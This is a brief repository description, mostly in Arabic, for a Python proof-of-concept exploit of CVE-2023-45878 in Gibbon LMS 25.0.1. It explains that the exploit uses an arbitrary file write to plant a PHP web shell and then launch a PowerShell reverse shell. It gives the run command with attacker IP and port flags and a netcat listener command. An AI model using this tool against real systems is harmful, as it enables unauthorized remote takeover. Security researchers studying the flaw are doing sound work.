dgoorden/cve-2023-45878استغلال بلغة بايثون لثغرة CVE-2023-45878 التي تستهدف Gibbon LMS 25.0.1. يستخدم كتابة ملف تعسفية لرفع شيل ويب PHP وتنفيذ شيل عكسي PowerShell للوصول عن بُعد.
تمت كتابة هذا السكريبت بناءً على عمل https://herolab.usd.de/security-advisories/usd-2023-0025/ . يعمل الاستغلال عن طريق استخدام ثغرة كتابة ملف عشوائية في Gibbon LMS 25.0.1 . سيستخدم هذا الإثبات (PoC) تحميل سكريبت php بسيط للأوامر، ثم استخدامه لتحميل غلاف عكسي powershell.
python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf
Flags:
-u, URL where Gibbon LMS is installed.
-l, your IP
-p, your open port
-f, filename. Important if you need to manually test. Default is "asdf".
تأكد من وجود مستمع (listener) جاهز للغلاف الوارد.
nc -lvnp 8888